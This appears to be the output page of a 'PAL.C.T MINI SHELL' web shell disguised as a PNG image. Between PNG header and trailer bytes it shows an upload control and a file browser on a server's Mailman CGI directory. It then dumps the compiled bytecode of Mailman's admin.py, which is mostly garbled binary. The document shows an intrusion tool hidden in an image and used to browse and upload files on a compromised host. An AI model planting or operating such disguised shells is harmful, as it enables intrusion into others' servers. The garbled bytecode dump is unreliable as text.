php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Cgi/
upload
files >> //usr/lib/mailman/Mailman/Cgi/admin.pyo

Pc@sdZddklZddkZddkZddkZddkZddkZddkZddk	Tddk
lZlZl
Z
ddklZddklZddklZdd	klZdd
klZddklZddklZddkTdd
klZddklZddklZeiZeiei dZ!dZ"ye#e$fWne%j
odZ#dZ$nXdZ&ddZ'dZ(dZ)dZ*ddZ+dZ,dZ-dZ.dZ/dZ0d Z1d!Z2d"d#Z3d$Z4dS(%s:Process and produce the list-administration options forms.i(t
nested_scopesN(t*(tunquotet	parseaddrt
formataddr(tmm_cfg(tUtils(tMailList(tErrors(t
MemberAdaptor(ti18n(tUserDesc(tAuth(tsyslog(tsha_news
iiicCsti}|ptdS|di}yti|dd}WnHtij
o9}ti|}ttdt	dd|dSXt
i|it
idd}|ititif|idd	pV|ido%ttd
tdi}nd	}ti|dd
|dSt|djod}d}n<t|djo|d}d}n|d}|d}|djo,|itiGHti|ddddS||iijo
d}nd}	ti i!d}
d}|
ot
i"|
}n|ido|id}	n@|o8|i!d}|ot#|t$o|d}	qn|	ot%||	dSt&}
|
i|i|d}|i'z"t(i(t(i)||io$t*|||||
|i+n|i,o.|i-o#|
i.tddtdn|i,o0|i/o#|
i.tddtdn|i-o0|i0o#|
i.tddtdnt1||
||||
iGH|i2Wd|i3XdS(Nitlocks&No such list <em>%(safelistname)s</em>terrors)admin.py access for non-existent list: %stkeep_blank_valuesitadminpwts+1sAuthorization failed.tadmintmsgtgeneralitlogoutt	frontpagetQUERY_STRINGtVARHELPcSs|itiddS(Ni(tUnlocktsystexit(tsignumtframetmlist((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pytsigterm_handlers
s You have turned off delivery of both digest and
                non-digest messages.  This is an incompatible state of
                affairs.  You must turn on either digest delivery or
                non-digest delivery or your mailing list will basically be
                unusable.ttags	Warning: shYou have digest members, but digests are turned
                off. Those people will not receive mail.sYou have regular list members but non-digestified mail is
                turned off.  They will receive mail until you fix this
                problem.(4Rt
GetPathPiecestadmin_overviewtlowerRRtMMListErrortwebsafet_R
R
tset_languagetpreferred_languagetcgitFieldStoragetWebAuthenticateRt
AuthListAdmint
AuthSiteAdmintgetvaluethas_keytBoldtFontSizetFormatRt	loginpagetlentNonet	ZapCookietGetConfigCategoriestkeystostenvirontgettparse_qst
isinstancetListTypetoption_helptDocumenttLocktsignaltSIGTERMtchange_optionstCheckValuest
digestablet
nondigestabletaddErrortgetDigestMemberKeystgetRegularMemberKeystshow_resultstSaveR(tpartstlistnameR tetsafelistnametcgidataRtcategorytsubcattvarhelpt	qsenvirontparsedqstqstdocR!((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pytmain<s		%







	

	Rc
Csti}td}t}|iti|i|tdddd}|i	t
td|g|i|i
ddddtig}ti}|ix|D]x}ti|d	d}|ioStio |ii|d
joqq2|i|id|i|ifqqW|ot|dd
dd}	n
td}	g}
ttitdi}|p|
i|	tdgn|
i|	tdgtid}ti }
|o
tdpd}|
itdttidtddtdtd|
|
dg|i	t!|
g|it"|i
dddd|o|i	ddg|i	t#ttddd t#ttd!dd gd"}x|D]|\}}}|i	t|t#||pt$td#g|o*ti%o |i&|i
dti%n|}qWn|i'||i'd$|i't(|iGHdS(%Ns(%(hostname)s mailing lists - Admin Linkstborderitwidths100%itcolspantbgcolorRiRtcolortff5060tsizes+1sWelcome!tMailmansh<p>There currently are no publicly-advertised %(mailmanlink)s
            mailing lists on %(hostname)s.s<p>Below is the collection of publicly-advertised
            %(mailmanlink)s mailing lists on %(hostname)s.  Click on a list
            name to visit the configuration pages for that list.tcreatesright RsRTo visit the administrators configuration page for an
        unadvertised list, open a URL similar to this one, but with a '/' and
        the %(extra)slist name appended.  If you have the proper authority,
        you can also <a href="%(creatorurl)s">create a new mailing list</a>.

        <p>General list information can be found at tlistinfosthe mailing list overview paget.s#<p>(Send questions and comments to s	mailto:%ss.)<p>s&nbsp;tLists+2tDescriptionis[no description available]s<hr>()Rt
get_domainR(RBR)RtDEFAULT_SERVER_LANGUAGEtSetTitletTabletAddRowtCentertHeadertAddCellInfotGetCurrentRowIndextWEB_HEADER_COLORt
list_namestsortRt
advertisedtVIRTUAL_HOST_OVERVIEWtweb_page_urltfindtappendtGetScriptURLt	real_nametdescriptiontFontAttrtLinktMAILMAN_URLR4textendt	ScriptURLtget_site_emailt	ContainertmaxR2tItalictWEB_HIGHLIGHT_COLORt
AddRowInfotAddItemtMailmanLogo(RthostnametlegendRZttableRut	listnamestnameR tgreetingtwelcometmailmanlinkt
creatorurlt
mailman_ownertextrat	highlightturlR{R|((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyR$s	





	
%!"

c
Cs}t}|i|id}|id}t|djod}}t|djo|\}}n't|djo|\}}}n|i||}|o8x5|D])}	|	o|	d|jo|	}PqqWqn|p<td}
|i|
|i	|i
|iGHdSt|\}}}}
}}|i
}td}tdd}|ittd|g|i|idd	dd
ti|itd|i	||i	d|||f|o|i	d
|n|o d|id||f}nd|id|f}t|}tdddddd}t|||||dd|i	||i	d|i	tt|i	t||i	td|id}|od|||f}nd||f}|i|d}|i	t|td|i	d|i	|i
|iGHdS(Nt/iiisNo valid variable name found.sP%(realname)s Mailing list Configuration Help
    <br><em>%(varname)s</em> OptionR]s100%R^R_s$Mailman %(varname)s List Option Helps<b>%s</b> (%s): %s<p>s%s<p>s%s/%s/%sRs%s/%stcellspacingtcellpaddingitdetailsps<p>s<em><strong>Warning:</strong> changing this option here
    could cause other screens to be out-of-sync.  Be sure to reload any other
    pages that are displaying this option for this mailing list.  You can also
    s,return to the %(categoryname)s options page.s</em>(RBR)R*R7tsplitR6t
GetConfigInfoR(RJRtGetMailmanFooterR4tget_item_characteristicsR{RlRmRnRoRpRqRRrRkRztFormtadd_options_table_itemt
submit_buttonR9R~(R RVRZtitemtreflistRTRUtvarnametoptionstitbadtkindtparamstdependanciesR|telaborationtrealnameRtheaderRtformtvaltabtadminurltcategoryname((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRA3sr	

		

 

	

c	Cs|id}|i}t||d}|i}|itd|ittdtd|idd}	|d:jo
d	}	n|o#t	d
|||fd|	}
nt	d||fd|	}
t
d
ddd}|itttdtttdgt
}|it|idtd|it|idtd|it|idtd|it|itdidtioO|itijo9|it|idtditdn|itd|dtd t
}
}d!}|i}t|d}d}d}x|D]}t||d}d||f}||jo|i|}|otid"}x4|D]\}}||joPqqW|dd}g}xY|D]Q\}}||jotd#|i}n|it|d$||q-W|it|it
|iq|it|td#|n|it|||d%7}||jot
}}t|}qqWt
}|i|
|g|i|id
d|io`td&}|ittd't|gti}|i|idd(dd)|n|i||g|
i||
id|
itd*d+|djootid"}|d;jo
d,}n|
it |||||
|
itt!d/|d,jo|
id0t
dd}|ittdtd1g|i|idd(dd)ti"|id2d2g|itd3g|i|idd(d|it#d4td5td6f|i$t%d7td8g|
i|qnv|d9jo3|
itt&||
itt!n6|
it'||||||
itt!|i|
|i|i(dS(<NRis'%(realname)s Administration (%(label)s)is=%(realname)s mailing list administration<br>%(label)s Sections<hr>t	autoreplytmemberssmultipart/form-datas%s/%s/%stencodings%s/%stvalignttopR]s100%sConfiguration CategoriessOther Administrative Activitiestadmindbs"Tend to pending moderator requestsRes'Go to the general list information pagetedithtmls)Edit the public HTML pages and text filessGo to list archivess<br>&nbsp;<br>trmlistsDelete this mailing lists& (requires confirmation)<br>&nbsp;<br>s	%s/logouts <FONT SIZE="+2"><b>%s</b></FONT>tLogoutRis[%s]Ris3Emergency moderation of all list traffic is enableds?VARHELP=general/emergencyR^R_syMake your changes in the following section, then submit them
        using the <em>Submit Your Changes</em> button below.s<p>tlisttaddtremovetsetmemberopts_btns<hr>
sAdditional Member Taskss&nbsp;s\<li>Set everyone's moderation bit, including
            those members not currently visiblet
allmodbit_valtOfftOnt
allmodbit_btntSett	passwords(Rsmembers(slistsaddsremove()RzR9R(R{RkRRnRoR7RRlRmR2t
UnorderedListR~tGetBaseArchiveURLR4Rt!OWNERS_CAN_DELETE_THEIR_OWN_LISTSt
internal_nametMAILMAN_SITE_LISTR:R6tGetConfigSubCategoriesRR#RyRRqt	emergencytWEB_ERROR_COLORRptmembership_optionsRRrtRadioButtonArraytdefault_member_moderationtSubmitButtontpassword_inputstshow_variablesR(R RZRTRURSRt
categoriestlabelRRRt	linktablet
otherlinkstcategorylinks_1t
categorylinkstcategorylinks_2tcategorykeysthalftcountertkRtsubcatstvtsubcat_itemstsubttexttetableR`R((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRM}s	



	



	
"$


	
		






%
	
	

cCs|i||}tdddddd}|i}t||d}|ittd|g|i|idd	dd
t	i
|d}	t|	to:|i|	g|i|idd	d|d}n|p|S|itt
tdtt
td
g|it|idddd|it|iddddxs|D]k}
t|
tjo<|itt|
g|i|idd	dqyt|||||
qyW|idg|i|idd	d|S(NRiRiR]s100%iiR^R_iRhtValues15%s85%s<br>(RRlR9R(RmRnRoRpRqRRrR?t
StringTypeR2RttypeRR(R RTRURSRZRRRRR|R((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRs:

 c
Cst|\}}}}	}
}|djo
|
}nt|||||
||}
t||||||	}|i|
|g|i|iddti|i|iddtidS(NiR_i(	RR7tget_item_gui_descriptiontget_item_gui_valueRmRpRqRtWEB_ADMINITEM_COLOR(
R RTRURRRRRRRtdescrRtval((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRAs


cCst|djod}|\}}}}}n?t|djo|\}}}}}}nttd||||||fS(Niis'Badly formed options entry:
 %(record)s(R6R7t
ValueErrorR((trecordRRRRRR((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRRs
c	Csd}|i|\}}t|do|i||||}n|djo$|idot||}n|tijp|tijo[|ido
d}	n|}	|djoti	o|	d}	nt
|||	|S|tijp0|tijp |ti
jp|tijot|||S|tijo>|o|\}
}n
d\}
}t||pd|
|S|titifjoL|o|\}
}n
d\}
}ti|}t|||
|ddS|tijo|o|\}
}n
d\}
}t}
|
itd	|
it||pd|
||
itd
|
it|d|
||
S|tijog|o|\}}}n:|i}tttti|}|i|i }t!||||S|ti"jot#dd}t$|d
}d}t||}x:|D]2\}}}}|||||||d7}q`W|djo||ddddt%n|S|ti&jot#dd}t$|d}d}t||}x4|D],\}}}||||||d7}qW|djo||dti'dt%n|S|ti(jot)||SdS(s.Return a representation of an item's settings.tgetValueR(itsubscribe_policyiRtwraptoffs(<em>Enter the text below, or...</em><br>s,<br><em>...specify a file to upload</em><br>t_uploadR\c
Ssd|}d|}d|}d|}	d|}
d|}d|}|o/|itttdt|gn5|itttdt|td	g|ittd
t|d|dd
g|ittdt|d|dddd
ddg|ittdt|	d|dddd
ddg|pJ|it|tdt	|
d"tdtdfddgn|idg|i
|idd d!dS(#Nstopic_delete_%02dstopic_box_%02dstopic_rebox_%02dstopic_desc_%02dstopic_where_%02dstopic_add_%02dstopic_new_%02dsTopic %(i)dtDeletesTopic name:tvalueRbisRegexp:RtrowsitcolsRRsDescription:tsoftsAdd new item...tbeforetafters...before this one.s...after this one.tselectedis<hr>iR^i(RR(RmRnR2R(tHiddenRtLabeltTextBoxtTextAreat
SelectOptionsRpRq(
RRtpatterntdesctemptyRtdeltagtboxtagtreboxtagtdesctagtwheretagtaddtagtnewtag((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pytmakeboxs8






		RcSsid|}d|}d|}d|}d|}	d|}
d|}d|}|o/|itttd	t|
gn5|itttd	t|td
g|ittdt|d|d
dddddgti	ti
tititi
g}
y|
i|}Wntj
o
d}nXt|tdtdtdtdtdfd|
d|i}|ittd|g|p{|it|	tdt|d(tdtd fd!d"g|it|td#t|td$gn|id%g|i|idd&d'dS()Nshdrfilter_delete_%02dshdrfilter_rebox_%02dshdrfilter_action_%02dshdrfilter_where_%02dshdrfilter_add_%02dshdrfilter_new_%02dshdrfilter_up_%02dshdrfilter_down_%02dsSpam Filter Rule %(i)dRsSpam Filter Regexp:RRiRiRRitDefertHoldtRejecttDiscardtAccepttvaluestcheckedsAction:sAdd new item...RRs...before this one.s...after this one.RisMove rule upsMove rule downs<hr>R^i(sbeforesafter(RmRnR2R(RRRRRtDEFERtHOLDtREJECTtDISCARDtACCEPTtindexRRR4RRpRq(RRtactionRRRRt	actiontagRRR	tuptagtdowntagRRtradio((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyR
sN







		
N(NN(NN(NN(*R7R9thasattrRt
startswithtgetattrRtRadiotToggletALLOW_OPEN_SUBSCRIBERtStringtEmailtHosttNumberRtTextRt	EmailListtEmailListExtNLtjoint
FileUploadRRR(tSelecttGetAvailableLanguagestmapRtGetLanguageDescrRR*RtTopicsRltFalsetTruetHeaderFilterRtCheckboxt
CheckBoxArray(R RTRRRRRRtguiRtrtctrest	containerRRRRR
RtdataRRRRR((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRgs 	
  	# 
/
cCs|o|od|||f}nd||f}||jotd}n
td}t|id||i}	td||	fi}
nt|i}
|ddjo |
ttd	i7}
n|
S(
Ns/?VARHELP=%s/%s/%ss/?VARHELP=%s/%ss<br>(Edit <b>%(varname)s</b>)s$<br>(Details for <b>%(varname)s</b>)Rs%s %siR(s<br><em><strong>Note:</strong>
        setting this value performs an immediate action but does not modify
        permanent state.</em>(R(R~RzR4R(R RTRURRRRRVtlinktexttlinkR((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyR s
 	cK(Cs|iddd}t}tdd}|djoi|ittdtdg|i|id	d
ddt	i
|i|t|||S|djoi|ittdtd
g|i|id	d
ddt	i
|i|t
|||S|ittdtdg|i|id	d
ddt	i
|i|tdd}tdtdi}	|ittdtdd|iddtdtdg|i||idtdddd}
|i}g}|iD]}
||
iq,~}|id|iddi}|oyti|ti}Wn-tij
o|itd|qIXg}|D]}||i|pdq~}g}t||D]7\}}|i |p|i |o||qq~}nd}d}d}t"||jo
|}nh}x7|D]/}|i#|d	i$g}|i%|qWd}h}t&i'i(d}|o/t)i*|}|i(ddd	i$}n|i+}|i|p|i,|o|d	}n||}|d |} t"||jo|i-| nt.t"||\}!}"|!|"d}#d	}|i,d!o\yt/|d!d	}Wnt0j
o
d	}nX|d	jp
||#jo
d	}q"n||||d|!}|i-| d"|t"|}$|o2t"|}%|
itt1td#gn#|
itt1td$g|
i|
i|
i2d
t3dt	i4|og}&x|D]}'d}(|od%t5i6|}(n|d&|'|(})|'|jo t7d'|'i8i}*n
|'i8}*|&i%t|)|*iqWd_}+|
it|+i9|&gn|
i|
i|
i2d
t3dt	i4|
ig},td*td+td,td-td.td/td0td1td2td3td4fD]}-|,t|-qS~,|
i}.x-t:t3D]}!|
i|.|!dt	i4qWd	}/|oht;dg}0|D]}|0|i|q~0}t<g}1||D]}|1t"|q~1}/nhtd5t=i>6td6t=i?6td7t=i@6td8t=iA6}2x|D]x}t5i6|}3t|iB|d9d|iC|}	tDiE|i||iF}4t|3d:|4d;|/i}5ttG|3d<d=d	i|	id>|5tHd?|3ig}&|iI|t	iJod@}6d}7n
d=}6d	}7tGdA|3|6|7}8|&i%t|8ixd`D]}9d}:|9dBjoM|iK|};|;t=iLjod=}6d	}7q4
d@}6d}7d'|2|;}:n7|iI|t	iM|9od@}6d}7n
d=}6d	}7tGdD|3|9f|6|7}8|&i%t|8i|:q	W||iNjo-|&i%ttG|3dEd=d	in*|&i%ttG|3dEd@di|iI|t	iMd3od@}6d}7n
d=}6d	}7|&i%ttGdF|3|6|7|iO|}<|iP}=g}>|=D]}?|>ttDiQ|?qY~>}@y|=iR|<}AWnt0j
o
d	}AnX|&i%ttS|3dG|=|@|Ai|
i|&qnWtT}B|BitdH|BitdI|BitdJ|BitdK|BitdL|BitdM|BitdN|BitdO|BitdP|BitdQd}Cd	}Dt&i'i(d}|oXt)i*|i(dR}|otU|tVo|d	}n|dSjo
dT}Cq.
n|Co;|i|BidU|it|dVtdWn!|it|dXtdY|it|
|dj	og}E|dZ|C|f})td[}F||}Gt"|G}Hxt:|#D]q}!|!|joq
n|G|!|}I|GtW|!d||Hd}Jt|)d\|!td]}	|Ei%|	q
WtT|E}E|i|F|EidUn|S(aNRtabsoluteiR]s100%RisMass SubscriptionsiR^R_Rs
Mass RemovalssMembership Lists@http://docs.python.org/library/re.html#regular-expression-syntaxs(help)sFind member %(link)s:t
findmemberRRtfindmember_btns	Search...s<hr><p>s90%R\t2cSst|i|iS((tcmpR%(txty((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyt<lambda>gssBad regular expression: Rtlettert0s/members?letter=%stchunks	&chunk=%ss-%(allcnt)s members total, %(membercnt)s showns%(allcnt)s members totals&findmember=s/members?letter=s[%s]s&nbsp;s
tunsubsmember address<br>member nametmodthidesnomail<br>[reason]tacks	not metootnodupestdigesttplaintlanguaget?tUtAtBtobscuret	_realnameRbt_unsubRs<br>tusertons%s_modtnomailtnotmetoos%s_%st_digests%s_plaint	_languages8<b>unsub</b> -- Click on this to unsubscribe the member.s<b>mod</b> -- The user's personal moderation flag.  If this is
        set, postings from them will be moderated, otherwise they will be
        approved.sT<b>hide</b> -- Is the member's address concealed on
        the list of subscribers?s<b>nomail</b> -- Is delivery to the member disabled?  If so, an
        abbreviation will be given describing the reason for the disabled
        delivery:
            <ul><li><b>U</b> -- Delivery was disabled by the user via their
                    personal options page.
                <li><b>A</b> -- Delivery was disabled by the list
                    administrators.
                <li><b>B</b> -- Delivery was disabled by the system due to
                    excessive bouncing from the member's address.
                <li><b>?</b> -- The reason for disabled delivery isn't known.
                    This is the case for all memberships which were disabled
                    in older versions of Mailman.
            </ul>sJ<b>ack</b> -- Does the member get acknowledgements of their
        posts?sW<b>not metoo</b> -- Does the member want to avoid copies of their
        own postings?sW<b>nodupes</b> -- Does the member want to avoid duplicates of the
        same message?sb<b>digest</b> -- Does the member get messages in digests?
        (otherwise, individual messages)sf<b>plain</b> -- If getting digests, does the member get plain
        text digests?  (otherwise, MIME)s1<b>language</b> -- Language preferred by the userRtyesslegend=yes&s<p>s
/members/lists-Click here to hide the legend for this table.s/members/list?legend=yess0Click here to include the legend for this table.s/members?%sletter=%s&sV<p><em>To view more members, click on the appropriate
        range listed below:</em>schunk=%dsfrom %(start)s to %(end)ss&nbsp;&nbsp;s
&nbsp;&nbsp;
(RLR[RMR\RN(XRzRRlRmRnRoR(RpRqRRrRtmass_subscribetmass_removeR~R4RRR0Rtadmin_member_chunksizet
getMemberstencodeRttstriptretcompilet
IGNORECASERRJt
getMemberNametziptsearchR7R6t
setdefaultR%RyR;R<R=R+R>R:R1t
set_actiontdivmodtintRRtGetCurrentCellIndext
OPTCOLUMNSRturllibtquoteR2tupperR+trangetfilterRR	tUNKNOWNtBYUSERtBYADMINtBYBOUNCEt
GetOptionsURLtgetMemberCPAddressRt
uncanonstrR*tCheckBoxRtgetMemberOptiontModeratetgetDeliveryStatustENABLEDtOPTINFORLtgetMemberLanguageR.R0RRRR?R@tmin(KR RURSRZRRR;RRR>t	usertabletchunkszt_[1]t_mtalltregexptcret_[2]tstnamest_[3]tntat
chunkindextbuckett	actionurlRtbucketstaddrRYRWR:RRR8t	numchunkstallcntt	membercnttcellsRGtfindfragRtshowtjoinert_[4]thtrowindextlongestt_[5]t_[6]t
ds_abbrevstqaddrtfullnameRRRtboxtoptRtstatustlangpreftlangst_[7]tlangt	langdescsRRt	addlegendRXtbuttonstfootertchunkmemberstlasttstarttend((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyR<s	
%



%


%

	

	-1 8
 

"

  #
			*
35



!-)
#0	


	









	


cCsti}tdd}|ittdtdtdtdfddd!g|i|idd
||i|id	d
||ittdtdtd
tdf|i	dd"g|i|idd
||i|id	d
||ittdtdtd
tdf|i
dd#g|i|idd
||i|id	d
||ittdg|i|iddd|itt
ddddddddg|i|iddd|itttdtdddg|it||iddg|ittdg|i|iddd|itt
dd ddddddg|i|iddddS($NR]s90%s)Subscribe these users now or invite them?tsubscribe_or_invitet	SubscribetInviteiRiR_s)Send welcome messages to new subscribees?tsend_welcome_msg_to_this_batchtNotYess:Send notifications of new subscriptions to the list owner?t send_notifications_to_list_owners#Enter one address per line below...R^iRtsubscribeesRi
Rs70%Rs...or specify a file to upload:tsubscribees_uploadt50s&nbsp;sBelow, enter additional text to be added to the
    top of your invitation or the subscription notification.  Include at least
    one blank line at the end...t
invitation(ii(ii(ii(RRRlRmRR(RRpRqtsend_welcome_msgtadmin_notify_mchangesRRnRR7R,R(R R;tGREYR((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyR`ksP		
	
cCsti}tdd}|ittdtdtdtdfdddg|i|idd
||i|id	d
||ittdtdtdtdf|i	ddg|i|idd
||i|id	d
||it
td
g|i|iddd|ittddddddddg|i|iddd|it
ttdtdddg|it|dS(NR]s90%s0Send unsubscription acknowledgement to the user?tsend_unsub_ack_to_this_batchRRiRiR_s%Send notifications to the list owner?t&send_unsub_notifications_to_list_owners#Enter one address per line below...R^iRt
unsubscribeesRi
Rs70%Rs...or specify a file to upload:tunsubscribees_uploadR(ii(ii(RRRlRmRR(RRpRqRRRnRR7R,R(R R;RR((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRas2		
c	Cs|iddd}tdddd}|ittdtd	g|i|id
dddti	|itd
g|i|id
ddtdd
dddddti
}|ittdtdddg|ittdtdddgtdd
dddddti
}|ittdtdddg|ittdtdddg|i||g|S(NRR?iRiRiisChange list ownership passwordsiR^R_s\The <em>list administrators</em> are the people who have ultimate control over
all parameters of this mailing list.  They are able to change any list
configuration variable available through these administration web pages.

<p>The <em>list moderators</em> have more limited permissions; they are not
able to change any list configuration variable, but they are allowed to tend
to pending administration requests, including approving or rejecting held
subscription requests, and disposing of held postings.  Of course, the
<em>list administrators</em> can also tend to pending requests.

<p>In order to split the list ownership duties into administrators and
moderators, you must set a separate moderator password in the fields below,
and also provide the email addresses of the list moderators in the
<a href="%(adminurl)s/general">general options section</a>.R\s!Enter new administrator password:tnewpwRbisConfirm administrator password:t	confirmpwsEnter new moderator password:tnewmodpwsConfirm moderator password:tconfirmmodpw(
RzRlRmRnRoR(RpRqRRrtWEB_ADMINPW_COLORRtPasswordBox(R RRtatabletmtable((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRs,%
	
tsubmitcCs`tdddddd}|itt|tdg|i|iddd|S(	NR\iRRisSubmit Your Changestaligntmiddle(RlRmR2RR(RpRq(RR((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRs%c:sdfd}d}iddi}iddi}|p|o=||jot|i|_q|itdniddi}iddi}|p|oN||jo*t|i|_|i	t
iGHq|itd	n|i}	|	|\}
}|d
jo|i
||||nd}|idd7}|idd7}|otdg}
|iD]}|
|iq~
}|d
|i}|d|i}|dd}idd}|i}|ip
d}n|ip
d}ng}g}x|D]}ti|}t|\}}ti||i}t||ti||i}yX|o1|i|o
tiq|i||n|i ||||ddWntij
o |i!|tdfq]ti"j
oS|i#djo#|i!tdtdfq4|i!|tdfq]ti$j
o |i!|tdfq]ti%j
o"}|i!|tdfq]Xti&t'||f}|i!ti|q]W|og|o |i(t)dtdn|i(t)dtd|i(t*||i(dn|o|o |i(t)dtdn|i(t)dtdg}|D]\}} |d|| fq~}!|i(t*|!|i(dqInd}"i+d o|"d i,7}"ni+d!o#d!i,o|"d!i,7}"n|"otdg}#|"iD]}|#|iq~#}$t-d"i,}%t-d#i,}&g}'g}(xv|$D]n})y9|i.|)dd$d%|%d&|&|(i!ti|)Wqti/j
o|'i!ti|)qXqW|(o@|i(t)dtd'|i(t*|(|i(dn|'o^|i(t)d(t0t1td)d*d+d,d-i2|i(t*|'|i(dq?ni+d.oid/}*yt-|*}*Wnt3j
o
d}*nX|*dFjo|itd0qx.|i4D]}|i5|t
i6|*qWni+d1oi+d2od2}+t7|+t8joDg},xPt9t:|+D]#}-|,i!t;i<|+|-i,q5Wnt;i<|+i,g},g}.g}/x|,D]}+t;i=|+}0i+d3|0o]y$|i.|+dd4|/i!|+Wqti/j
o |.i!|+td5fqXqn|i|+p&|itd6d7td8qni+d9|0}1y|i5|+t
i>|1Wn+ti?ti@tiAtiBfj
onXi|0d:d}2ti|2|i}2|iC|+|2i|0d;}3|iD|+}4tiE|3o!|3|4jo|iF|+|3ni|0d<}5|i5|+t
i6|5i+d=|0o4|iG|+tHiIjo|iJ|+tHiKq
n|iJ|+tHiIx_dGD]W}6t
iL|6}7i+dC|0|6fo|i5|+|7dq
|i5|+|7dq
WqW|/o@|i(t)dtdD|i(t*|/|i(dn|.o||i(t)dtdEg}8|.D]}9|8d|9d|9dfq~8}!|i(tMt*tN|!|i(dqndS(HNcs8yti|SWnttfj
o|SXdS(N(RoR0Rt	TypeError(tformvart
defaultval(RS(sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pytsafeintsiRRRs!Moderator passwords did not matchRRs%Administrator passwords did not matchRRRRRRRitwhencesadmin mass subsAlready a members&lt;blank line&gt;sBad/Invalid email addresss$Hostile address (illegal characters)s$Banned address (matched %(pattern)s)isSuccessfully invited:sSuccessfully subscribed:s<p>sError inviting:sError subscribing:s%s -- %sRRRRsadmin mass unsubtadmin_notiftuseracksSuccessfully Unsubscribed:isCannot unsubscribe non-members:R`s#ff0000Rbs+2RRsBad moderation flag valueRRYs%s_unsubsmember mgt pagesNot subscribeds,Ignoring changes to deleted member: %(user)sR"s	Warning: s	%s_digestRWR^t_mods	%s_nomailRLRMR\RNRPs%s_%ssSuccessfully Removed:sError Unsubscribing:(ii(shidesacksnotmetoosnodupessplain(OR7R0ReRt	hexdigesttmod_passwordRJR(tpasswordt
MakeCookieRR.R9t
handleFormRvt
splitlinesRRtdigest_is_defaultRHRIRR'RtcanonstrR*RtMakeRandomPasswordtisMemberRtMMAlreadyAMembertInviteNewMembertApprovedAddMemberRytMMBadEmailErrortaddresstMMHostileAddresstMembershipIsBannedR}RRRoRR1RRotApprovedDeleteMembertNotAMemberErrorR2R}R4tVallueErrorRctsetMemberOptionRRR@RuR6RrRRstDigeststAlreadyReceivingDigestst!AlreadyReceivingRegularDeliveriestCantDigestErrortMustDigestErrort
setMemberNameRt
IsLanguagetsetMemberLanguageRR	RtsetDeliveryStatusRyRtapplyttuple(:R RTRURSRZRt	confirmedtnewtconfirmRRR7tsubscribersRRtentriesRtsend_admin_notifRRROtsubscribe_errorstsubscribe_successtentryt	safeentryRRtuserdescRtmemberRtx0tx1titemstremovalsRRtsend_unsub_notificationsRtunsubscribe_errorstunsubscribe_successRRRYtuserstuiterrorstremovestquserRtnewnametnewlangtoldlangtmoderateRtopt_codeRRD((RSsZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyRFsv


6	



		
		  16

 
%

3(5t__doc__t
__future__RRR;RfR+RrRDttypestemail.UtilsRRRRcRRRRR	R
tMailman.UserDescRtMailman.htmlformattMailman.CgiRtMailman.Logging.SyslogR
t
Mailman.UtilsRR(R)RjR*RqR3R2t	NameErrorR[R$RARMRRRRRRR`RaRRRF(((sZ/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Cgi/admin.pyt<module>sZ

		c	J		0				0	2	 	*
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`